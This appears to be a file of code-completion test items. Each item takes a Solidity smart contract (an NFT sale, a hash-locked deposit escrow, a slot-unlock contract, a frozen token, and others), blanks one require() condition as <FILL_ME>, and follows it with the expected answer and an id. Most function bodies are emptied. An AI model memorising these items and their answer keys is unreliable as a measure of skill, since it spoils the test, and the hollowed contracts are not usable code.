using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
mapping (address => EnumerableSet.UintSet) private _holderTokens;
EnumerableMap.UintToAddressMap private _tokenOwners;
mapping (uint256 => address) private _tokenApprovals;
mapping (address => mapping (address => bool)) private _operatorApprovals;
string private _name;
string private _symbol;
mapping (uint256 => string) private _tokenURIs;
string private _baseURI;
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
constructor (string memory name_, string memory symbol_) public {
}
function balanceOf(address owner) public view virtual override returns (uint256) {
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function baseURI() public view virtual returns (string memory) {
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
}
function approve(address to, uint256 tokenId) public virtual override {
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
}
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
}
function _safeMint(address to, uint256 tokenId) internal virtual {
}
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
}
function _mint(address to, uint256 tokenId) internal virtual {
}
function _burn(uint256 tokenId) internal virtual {
}
function _transfer(address from, address to, uint256 tokenId) internal virtual {
}
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
}
function _setBaseURI(string memory baseURI_) internal virtual {
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
}
function _approve(address to, uint256 tokenId) internal virtual {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
pragma solidity 0.7.0;
contract Generatives is ERC721, Ownable {
constructor() ERC721("Generatives", "GEN") {
}
using SafeMath for uint256;
struct Project {
string name;
uint256 pricePerTokenInWei;
string projectBaseURI;
string projectBaseIpfsURI;
uint256 invocations;
uint256 maxInvocations;
}
uint256 constant ONE_MILLION = 1000000;
uint256 public nextProjectId;
mapping(uint256 => Project) projects;
mapping(uint256 => uint256) public tokenIdToProjectId;
mapping(uint256 => uint256[]) internal projectIdToTokenIds;
function addProject(string memory _projectname, uint256 _pricePerTokenInWei, uint256 _maxInvocations, string memory _projectBaseURI) public onlyOwner {
}
function purchaseToken(uint256 _projectId, uint numberOfTokens) public payable {
require(<FILL_ME>)
require(projects[_projectId].pricePerTokenInWei.mul(numberOfTokens) <= msg.value, "Ether value sent is not correct");
for(uint i = 0; i < numberOfTokens; i++) {
_mintTokens(msg.sender, _projectId);
}
}
function _mintTokens(address _to, uint256 _projectId) internal {
}
function projectDetails(uint256 _projectId) view public returns (string memory projectName, uint256 pricePerTokenInWei, uint256 maxInvocations, string memory projectBaseURI) {
}
function updateProjectPricePerTokenInWei(uint256 _projectId, uint256 _pricePerTokenInWei) public onlyOwner {
}
function updateProjectMaxInvocations(uint256 _projectId, uint256 _maxInvocations) public onlyOwner {
}
function updateProjectBaseURI(uint256 _projectId, string memory _newBaseURI) public onlyOwner {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function withdraw() public onlyOwner {
}
}
| projects[_projectId].invocations.add(numberOfTokens)<=projects[_projectId].maxInvocations,"Purchase would exceed max supply of Tokens" | 18,527 | projects[_projectId].invocations.add(numberOfTokens)<=projects[_projectId].maxInvocations |
"Ether value sent is not correct" | pragma solidity >=0.6.0 <0.8.0;
library EnumerableSet {
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
}
function _length(Set storage set) private view returns (uint256) {
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
}
function length(Bytes32Set storage set) internal view returns (uint256) {
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
}
function remove(AddressSet storage set, address value) internal returns (bool) {
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
}
function length(AddressSet storage set) internal view returns (uint256) {
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
}
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
}
function length(UintSet storage set) internal view returns (uint256) {
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
}
}
pragma solidity >=0.6.0 <0.8.0;
library EnumerableMap {
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
MapEntry[] _entries;
mapping (bytes32 => uint256) _indexes;
}
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
}
function _remove(Map storage map, bytes32 key) private returns (bool) {
}
function _contains(Map storage map, bytes32 key) private view returns (bool) {
}
function _length(Map storage map) private view returns (uint256) {
}
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
}
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
}
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
}
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
}
struct UintToAddressMap {
Map _inner;
}
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
}
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
}
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
}
function length(UintToAddressMap storage map) internal view returns (uint256) {
}
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
}
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
}
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
}
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
}
}
pragma solidity >=0.6.0 <0.8.0;
library Strings {
function toString(uint256 value) internal pure returns (string memory) {
}
function strConcat(string memory _a, string memory _b) internal pure returns (string memory _concatenatedString) {
}
function strConcat(string memory _a, string memory _b, string memory _c) internal pure returns (string memory _concatenatedString) {
}
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d) internal pure returns (string memory _concatenatedString) {
}
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory _concatenatedString) {
}
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
}
}
pragma solidity >=0.6.0 <0.8.0;
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
mapping (address => EnumerableSet.UintSet) private _holderTokens;
EnumerableMap.UintToAddressMap private _tokenOwners;
mapping (uint256 => address) private _tokenApprovals;
mapping (address => mapping (address => bool)) private _operatorApprovals;
string private _name;
string private _symbol;
mapping (uint256 => string) private _tokenURIs;
string private _baseURI;
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
constructor (string memory name_, string memory symbol_) public {
}
function balanceOf(address owner) public view virtual override returns (uint256) {
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function baseURI() public view virtual returns (string memory) {
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
}
function approve(address to, uint256 tokenId) public virtual override {
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
}
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
}
function _safeMint(address to, uint256 tokenId) internal virtual {
}
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
}
function _mint(address to, uint256 tokenId) internal virtual {
}
function _burn(uint256 tokenId) internal virtual {
}
function _transfer(address from, address to, uint256 tokenId) internal virtual {
}
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
}
function _setBaseURI(string memory baseURI_) internal virtual {
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
}
function _approve(address to, uint256 tokenId) internal virtual {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
pragma solidity 0.7.0;
contract Generatives is ERC721, Ownable {
constructor() ERC721("Generatives", "GEN") {
}
using SafeMath for uint256;
struct Project {
string name;
uint256 pricePerTokenInWei;
string projectBaseURI;
string projectBaseIpfsURI;
uint256 invocations;
uint256 maxInvocations;
}
uint256 constant ONE_MILLION = 1000000;
uint256 public nextProjectId;
mapping(uint256 => Project) projects;
mapping(uint256 => uint256) public tokenIdToProjectId;
mapping(uint256 => uint256[]) internal projectIdToTokenIds;
function addProject(string memory _projectname, uint256 _pricePerTokenInWei, uint256 _maxInvocations, string memory _projectBaseURI) public onlyOwner {
}
function purchaseToken(uint256 _projectId, uint numberOfTokens) public payable {
require(projects[_projectId].invocations.add(numberOfTokens) <= projects[_projectId].maxInvocations, "Purchase would exceed max supply of Tokens");
require(<FILL_ME>)
for(uint i = 0; i < numberOfTokens; i++) {
_mintTokens(msg.sender, _projectId);
}
}
function _mintTokens(address _to, uint256 _projectId) internal {
}
function projectDetails(uint256 _projectId) view public returns (string memory projectName, uint256 pricePerTokenInWei, uint256 maxInvocations, string memory projectBaseURI) {
}
function updateProjectPricePerTokenInWei(uint256 _projectId, uint256 _pricePerTokenInWei) public onlyOwner {
}
function updateProjectMaxInvocations(uint256 _projectId, uint256 _maxInvocations) public onlyOwner {
}
function updateProjectBaseURI(uint256 _projectId, string memory _newBaseURI) public onlyOwner {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function withdraw() public onlyOwner {
}
}
| projects[_projectId].pricePerTokenInWei.mul(numberOfTokens)<=msg.value,"Ether value sent is not correct" | 18,527 | projects[_projectId].pricePerTokenInWei.mul(numberOfTokens)<=msg.value |
null | pragma solidity ^0.4.18;
contract helper {
function derive_sha256(string key, uint rounds)
public pure returns(bytes32 hash){
}
function blind_sha256(string key, address caller)
public pure returns(bytes32 challenge){
}
function double_blind_sha256(string key, address caller, address receiver)
public pure returns(bytes32 challenge){
}
}
contract owned {
address public owner;
modifier onlyOwner {
}
/* Constructor */
function owned() public {
}
}
contract QuantumLocksmith is owned, helper {
uint public m_pending;
struct lock {
bool alive;
bool proven;
uint balance;
string protocol;
string key;
address owner;
}
mapping(bytes32 => lock) public locks;
// challenge the original owner validity
function QuantumLocksmith(bytes32 ownerChallenge) public payable {
require(<FILL_ME>)
locks[ownerChallenge].alive = true;
locks[ownerChallenge].balance = msg.value;
m_pending++;
}
function lockDeposit(bytes32 challenge, string _protocol) public payable {
}
function unlockDeposit(
string key,
address receiver
) public {
}
function depositToLock(bytes32 challenge) public payable {
}
// do not allow this
function() public payable {
}
function kill(string key) public {
}
}
| uint(ownerChallenge)>0 | 18,583 | uint(ownerChallenge)>0 |
null | pragma solidity ^0.4.18;
contract helper {
function derive_sha256(string key, uint rounds)
public pure returns(bytes32 hash){
}
function blind_sha256(string key, address caller)
public pure returns(bytes32 challenge){
}
function double_blind_sha256(string key, address caller, address receiver)
public pure returns(bytes32 challenge){
}
}
contract owned {
address public owner;
modifier onlyOwner {
}
/* Constructor */
function owned() public {
}
}
contract QuantumLocksmith is owned, helper {
uint public m_pending;
struct lock {
bool alive;
bool proven;
uint balance;
string protocol;
string key;
address owner;
}
mapping(bytes32 => lock) public locks;
// challenge the original owner validity
function QuantumLocksmith(bytes32 ownerChallenge) public payable {
}
function lockDeposit(bytes32 challenge, string _protocol) public payable {
require(<FILL_ME>)
require(msg.value > 0);
require(!locks[challenge].alive);
locks[challenge].alive = true;
locks[challenge].balance = msg.value;
locks[challenge].owner = msg.sender;
m_pending++;
if (bytes(_protocol).length > 0) locks[challenge].protocol = _protocol;
}
function unlockDeposit(
string key,
address receiver
) public {
}
function depositToLock(bytes32 challenge) public payable {
}
// do not allow this
function() public payable {
}
function kill(string key) public {
}
}
| uint(challenge)>0 | 18,583 | uint(challenge)>0 |
null | pragma solidity ^0.4.18;
contract helper {
function derive_sha256(string key, uint rounds)
public pure returns(bytes32 hash){
}
function blind_sha256(string key, address caller)
public pure returns(bytes32 challenge){
}
function double_blind_sha256(string key, address caller, address receiver)
public pure returns(bytes32 challenge){
}
}
contract owned {
address public owner;
modifier onlyOwner {
}
/* Constructor */
function owned() public {
}
}
contract QuantumLocksmith is owned, helper {
uint public m_pending;
struct lock {
bool alive;
bool proven;
uint balance;
string protocol;
string key;
address owner;
}
mapping(bytes32 => lock) public locks;
// challenge the original owner validity
function QuantumLocksmith(bytes32 ownerChallenge) public payable {
}
function lockDeposit(bytes32 challenge, string _protocol) public payable {
require(uint(challenge) > 0);
require(msg.value > 0);
require(<FILL_ME>)
locks[challenge].alive = true;
locks[challenge].balance = msg.value;
locks[challenge].owner = msg.sender;
m_pending++;
if (bytes(_protocol).length > 0) locks[challenge].protocol = _protocol;
}
function unlockDeposit(
string key,
address receiver
) public {
}
function depositToLock(bytes32 challenge) public payable {
}
// do not allow this
function() public payable {
}
function kill(string key) public {
}
}
| !locks[challenge].alive | 18,583 | !locks[challenge].alive |
null | pragma solidity ^0.4.18;
contract helper {
function derive_sha256(string key, uint rounds)
public pure returns(bytes32 hash){
}
function blind_sha256(string key, address caller)
public pure returns(bytes32 challenge){
}
function double_blind_sha256(string key, address caller, address receiver)
public pure returns(bytes32 challenge){
}
}
contract owned {
address public owner;
modifier onlyOwner {
}
/* Constructor */
function owned() public {
}
}
contract QuantumLocksmith is owned, helper {
uint public m_pending;
struct lock {
bool alive;
bool proven;
uint balance;
string protocol;
string key;
address owner;
}
mapping(bytes32 => lock) public locks;
// challenge the original owner validity
function QuantumLocksmith(bytes32 ownerChallenge) public payable {
}
function lockDeposit(bytes32 challenge, string _protocol) public payable {
}
function unlockDeposit(
string key,
address receiver
) public {
require(<FILL_ME>)
// generate the challenge
bytes32 k = sha256(sha256(key),msg.sender);
address to = msg.sender;
if (uint(receiver) > 0) {
to = receiver;
k = sha256(k,receiver);
}
if (locks[k].alive && !locks[k].proven)
{
locks[k].proven = true;
locks[k].key = key;
m_pending--;
uint sendValue = locks[k].balance;
if (sendValue > 0) {
locks[k].balance = 0;
require(to.send(sendValue));
}
}
}
function depositToLock(bytes32 challenge) public payable {
}
// do not allow this
function() public payable {
}
function kill(string key) public {
}
}
| bytes(key).length>0 | 18,583 | bytes(key).length>0 |
null | pragma solidity ^0.4.18;
contract helper {
function derive_sha256(string key, uint rounds)
public pure returns(bytes32 hash){
}
function blind_sha256(string key, address caller)
public pure returns(bytes32 challenge){
}
function double_blind_sha256(string key, address caller, address receiver)
public pure returns(bytes32 challenge){
}
}
contract owned {
address public owner;
modifier onlyOwner {
}
/* Constructor */
function owned() public {
}
}
contract QuantumLocksmith is owned, helper {
uint public m_pending;
struct lock {
bool alive;
bool proven;
uint balance;
string protocol;
string key;
address owner;
}
mapping(bytes32 => lock) public locks;
// challenge the original owner validity
function QuantumLocksmith(bytes32 ownerChallenge) public payable {
}
function lockDeposit(bytes32 challenge, string _protocol) public payable {
}
function unlockDeposit(
string key,
address receiver
) public {
require(bytes(key).length > 0);
// generate the challenge
bytes32 k = sha256(sha256(key),msg.sender);
address to = msg.sender;
if (uint(receiver) > 0) {
to = receiver;
k = sha256(k,receiver);
}
if (locks[k].alive && !locks[k].proven)
{
locks[k].proven = true;
locks[k].key = key;
m_pending--;
uint sendValue = locks[k].balance;
if (sendValue > 0) {
locks[k].balance = 0;
require(<FILL_ME>)
}
}
}
function depositToLock(bytes32 challenge) public payable {
}
// do not allow this
function() public payable {
}
function kill(string key) public {
}
}
| to.send(sendValue) | 18,583 | to.send(sendValue) |
null | pragma solidity ^0.4.18;
contract helper {
function derive_sha256(string key, uint rounds)
public pure returns(bytes32 hash){
}
function blind_sha256(string key, address caller)
public pure returns(bytes32 challenge){
}
function double_blind_sha256(string key, address caller, address receiver)
public pure returns(bytes32 challenge){
}
}
contract owned {
address public owner;
modifier onlyOwner {
}
/* Constructor */
function owned() public {
}
}
contract QuantumLocksmith is owned, helper {
uint public m_pending;
struct lock {
bool alive;
bool proven;
uint balance;
string protocol;
string key;
address owner;
}
mapping(bytes32 => lock) public locks;
// challenge the original owner validity
function QuantumLocksmith(bytes32 ownerChallenge) public payable {
}
function lockDeposit(bytes32 challenge, string _protocol) public payable {
}
function unlockDeposit(
string key,
address receiver
) public {
}
function depositToLock(bytes32 challenge) public payable {
require(challenge != 0x0);
require(msg.value > 0);
require(<FILL_ME>)
locks[challenge].balance += msg.value;
}
// do not allow this
function() public payable {
}
function kill(string key) public {
}
}
| locks[challenge].alive&&!locks[challenge].proven | 18,583 | locks[challenge].alive&&!locks[challenge].proven |
"Function disabled" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./interfaces/ICryptoFoxesOriginsV2.sol";
import "./interfaces/ICryptoFoxesStakingV2.sol";
import "./CryptoFoxesUtility.sol";
// @author: miinded.com
contract CryptoFoxesSlots is Ownable, CryptoFoxesUtility {
ICryptoFoxesStakingV2 public cryptoFoxesStakingV2;
ICryptoFoxesOriginsV2 public cryptoFoxesOrigin;
uint256 constant basePrice = 10 ** 18;
uint256[21] private slotPrice;
constructor(address _cryptoFoxesOrigin, address _cryptoFoxesStakingV2) {
}
function unlockSlot(uint16 _tokenIdOrigin, uint8 _count) public {
require(<FILL_ME>)
_unlockSlot(_msgSender(), _tokenIdOrigin, _count);
}
function unlockSlotByContract(address _wallet, uint16 _tokenIdOrigin, uint8 _count) public isFoxContract {
}
function _unlockSlot(address _wallet, uint16 _tokenIdOrigin, uint8 _count) private {
}
function getStepPrice(uint256 _step) public view returns(uint256){
}
function getTotalPrice(uint8 _currentMaxSlot, uint256 _count) public view returns(uint256){
}
}
| !disablePublicFunctions,"Function disabled" | 18,698 | !disablePublicFunctions |
"CryptoFoxesSlots:unlockSlot Bad Owner" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./interfaces/ICryptoFoxesOriginsV2.sol";
import "./interfaces/ICryptoFoxesStakingV2.sol";
import "./CryptoFoxesUtility.sol";
// @author: miinded.com
contract CryptoFoxesSlots is Ownable, CryptoFoxesUtility {
ICryptoFoxesStakingV2 public cryptoFoxesStakingV2;
ICryptoFoxesOriginsV2 public cryptoFoxesOrigin;
uint256 constant basePrice = 10 ** 18;
uint256[21] private slotPrice;
constructor(address _cryptoFoxesOrigin, address _cryptoFoxesStakingV2) {
}
function unlockSlot(uint16 _tokenIdOrigin, uint8 _count) public {
}
function unlockSlotByContract(address _wallet, uint16 _tokenIdOrigin, uint8 _count) public isFoxContract {
}
function _unlockSlot(address _wallet, uint16 _tokenIdOrigin, uint8 _count) private {
require(<FILL_ME>)
uint8 currentMaxSlot = cryptoFoxesStakingV2.getOriginMaxSlot(_tokenIdOrigin);
if(currentMaxSlot == 0){
currentMaxSlot = 9;
}
uint256 price = getTotalPrice(currentMaxSlot, _count);
require(IERC20(address(cryptofoxesSteak)).balanceOf(_wallet) >= price, "CryptoFoxesSlots:unlockSlot balance to low");
IERC20(address(cryptofoxesSteak)).transferFrom(_wallet, owner(), price);
cryptoFoxesStakingV2.unlockSlot(_tokenIdOrigin, _count);
}
function getStepPrice(uint256 _step) public view returns(uint256){
}
function getTotalPrice(uint8 _currentMaxSlot, uint256 _count) public view returns(uint256){
}
}
| cryptoFoxesOrigin.ownerOf(_tokenIdOrigin)==_wallet,"CryptoFoxesSlots:unlockSlot Bad Owner" | 18,698 | cryptoFoxesOrigin.ownerOf(_tokenIdOrigin)==_wallet |
"CryptoFoxesSlots:unlockSlot balance to low" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./interfaces/ICryptoFoxesOriginsV2.sol";
import "./interfaces/ICryptoFoxesStakingV2.sol";
import "./CryptoFoxesUtility.sol";
// @author: miinded.com
contract CryptoFoxesSlots is Ownable, CryptoFoxesUtility {
ICryptoFoxesStakingV2 public cryptoFoxesStakingV2;
ICryptoFoxesOriginsV2 public cryptoFoxesOrigin;
uint256 constant basePrice = 10 ** 18;
uint256[21] private slotPrice;
constructor(address _cryptoFoxesOrigin, address _cryptoFoxesStakingV2) {
}
function unlockSlot(uint16 _tokenIdOrigin, uint8 _count) public {
}
function unlockSlotByContract(address _wallet, uint16 _tokenIdOrigin, uint8 _count) public isFoxContract {
}
function _unlockSlot(address _wallet, uint16 _tokenIdOrigin, uint8 _count) private {
require(cryptoFoxesOrigin.ownerOf(_tokenIdOrigin) == _wallet, "CryptoFoxesSlots:unlockSlot Bad Owner");
uint8 currentMaxSlot = cryptoFoxesStakingV2.getOriginMaxSlot(_tokenIdOrigin);
if(currentMaxSlot == 0){
currentMaxSlot = 9;
}
uint256 price = getTotalPrice(currentMaxSlot, _count);
require(<FILL_ME>)
IERC20(address(cryptofoxesSteak)).transferFrom(_wallet, owner(), price);
cryptoFoxesStakingV2.unlockSlot(_tokenIdOrigin, _count);
}
function getStepPrice(uint256 _step) public view returns(uint256){
}
function getTotalPrice(uint8 _currentMaxSlot, uint256 _count) public view returns(uint256){
}
}
| IERC20(address(cryptofoxesSteak)).balanceOf(_wallet)>=price,"CryptoFoxesSlots:unlockSlot balance to low" | 18,698 | IERC20(address(cryptofoxesSteak)).balanceOf(_wallet)>=price |
'Bad arbitrary call' | contract AbstractDeployer is Ownable {
function title() public view returns(string);
function createMultiToken() internal returns(address);
function deploy(bytes data)
external onlyOwner returns(address result)
{
address mtkn = createMultiToken();
require(<FILL_ME>)
Ownable(mtkn).transferOwnership(msg.sender);
return mtkn;
}
}
| mtkn.call(data),'Bad arbitrary call' | 18,726 | mtkn.call(data) |
null | /**
* Source Code first verified at https://etherscan.io on Wednesday, October 11, 2017
(UTC) */
//! FrozenToken ECR20-compliant token contract
//! By Parity Technologies, 2017.
//! Released under the Apache Licence 2.
pragma solidity ^0.5.0;
// Owned contract.
contract Owned {
modifier only_owner { }
event NewOwner(address indexed old, address indexed current);
function setOwner(address _new) public only_owner { }
address public owner;
}
// FrozenToken, a bit like an ECR20 token (though not - as it doesn't
// implement most of the API).
// All token balances are generally non-transferable.
// All "tokens" belong to the owner (who is uniquely liquid) at construction.
// Liquid accounts can make other accounts liquid and send their tokens
// to other axccounts.
contract FrozenToken is Owned {
event Transfer(address indexed from, address indexed to, uint256 value);
// this is as basic as can be, only the associated balance & allowances
struct Account {
uint balance;
bool liquid;
}
// constructor sets the parameters of execution, _totalSupply is all units
constructor(uint _totalSupply, address _owner)
public
when_non_zero(_totalSupply)
{
}
// balance of a specific address
function balanceOf(address _who) public view returns (uint256) {
}
// make an account liquid: only liquid accounts can do this.
function makeLiquid(address _to)
public
when_liquid(msg.sender)
returns(bool)
{
}
// transfer
function transfer(address _to, uint256 _value)
public
when_owns(msg.sender, _value)
when_liquid(msg.sender)
returns(bool)
{
}
// no default function, simple contract only, entry-level users
function() external {
}
// the balance should be available
modifier when_owns(address _owner, uint _amount) {
require(<FILL_ME>)
_;
}
modifier when_liquid(address who) {
}
// a value should be > 0
modifier when_non_zero(uint _value) {
}
// Available token supply
uint public totalSupply;
// Storage and mapping of all balances & allowances
mapping (address => Account) accounts;
// Conventional metadata.
string public constant name = "DOT Allocation Indicator";
string public constant symbol = "DOT";
uint8 public constant decimals = 3;
}
| accounts[_owner].balance>=_amount | 18,740 | accounts[_owner].balance>=_amount |
null | /**
* Source Code first verified at https://etherscan.io on Wednesday, October 11, 2017
(UTC) */
//! FrozenToken ECR20-compliant token contract
//! By Parity Technologies, 2017.
//! Released under the Apache Licence 2.
pragma solidity ^0.5.0;
// Owned contract.
contract Owned {
modifier only_owner { }
event NewOwner(address indexed old, address indexed current);
function setOwner(address _new) public only_owner { }
address public owner;
}
// FrozenToken, a bit like an ECR20 token (though not - as it doesn't
// implement most of the API).
// All token balances are generally non-transferable.
// All "tokens" belong to the owner (who is uniquely liquid) at construction.
// Liquid accounts can make other accounts liquid and send their tokens
// to other axccounts.
contract FrozenToken is Owned {
event Transfer(address indexed from, address indexed to, uint256 value);
// this is as basic as can be, only the associated balance & allowances
struct Account {
uint balance;
bool liquid;
}
// constructor sets the parameters of execution, _totalSupply is all units
constructor(uint _totalSupply, address _owner)
public
when_non_zero(_totalSupply)
{
}
// balance of a specific address
function balanceOf(address _who) public view returns (uint256) {
}
// make an account liquid: only liquid accounts can do this.
function makeLiquid(address _to)
public
when_liquid(msg.sender)
returns(bool)
{
}
// transfer
function transfer(address _to, uint256 _value)
public
when_owns(msg.sender, _value)
when_liquid(msg.sender)
returns(bool)
{
}
// no default function, simple contract only, entry-level users
function() external {
}
// the balance should be available
modifier when_owns(address _owner, uint _amount) {
}
modifier when_liquid(address who) {
require(<FILL_ME>)
_;
}
// a value should be > 0
modifier when_non_zero(uint _value) {
}
// Available token supply
uint public totalSupply;
// Storage and mapping of all balances & allowances
mapping (address => Account) accounts;
// Conventional metadata.
string public constant name = "DOT Allocation Indicator";
string public constant symbol = "DOT";
uint8 public constant decimals = 3;
}
| accounts[who].liquid | 18,740 | accounts[who].liquid |
null | // SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable {
address public owner;
address public newowner;
address public admin;
address public dev;
constructor() public {
}
modifier onlyOwner {
}
modifier onlyNewOwner {
}
function transferOwnership(address _newOwner) public onlyOwner {
}
function takeOwnership() public onlyNewOwner {
}
function setAdmin(address _admin) public onlyOwner {
}
function setDev(address _dev) public onlyOwner {
}
modifier onlyAdmin {
}
modifier onlyDev {
}
}
abstract contract ContractConn{
function transfer(address _to, uint _value) virtual public;
function transferFrom(address _from, address _to, uint _value) virtual public;
function balanceOf(address who) virtual public view returns (uint);
function burn(uint256 _value) virtual public returns(bool);
}
contract Pledge is Ownable {
using SafeMath for uint256;
struct PledgeInfo {
uint256 id;
address pledgeor;
string coinType;
uint256 amount;
uint256 pledgeTime;
uint256 pledgeBlock;
uint256 ExpireBlock;
bool isValid;
}
ContractConn public zild;
uint256 public pledgeBlock = 90000;
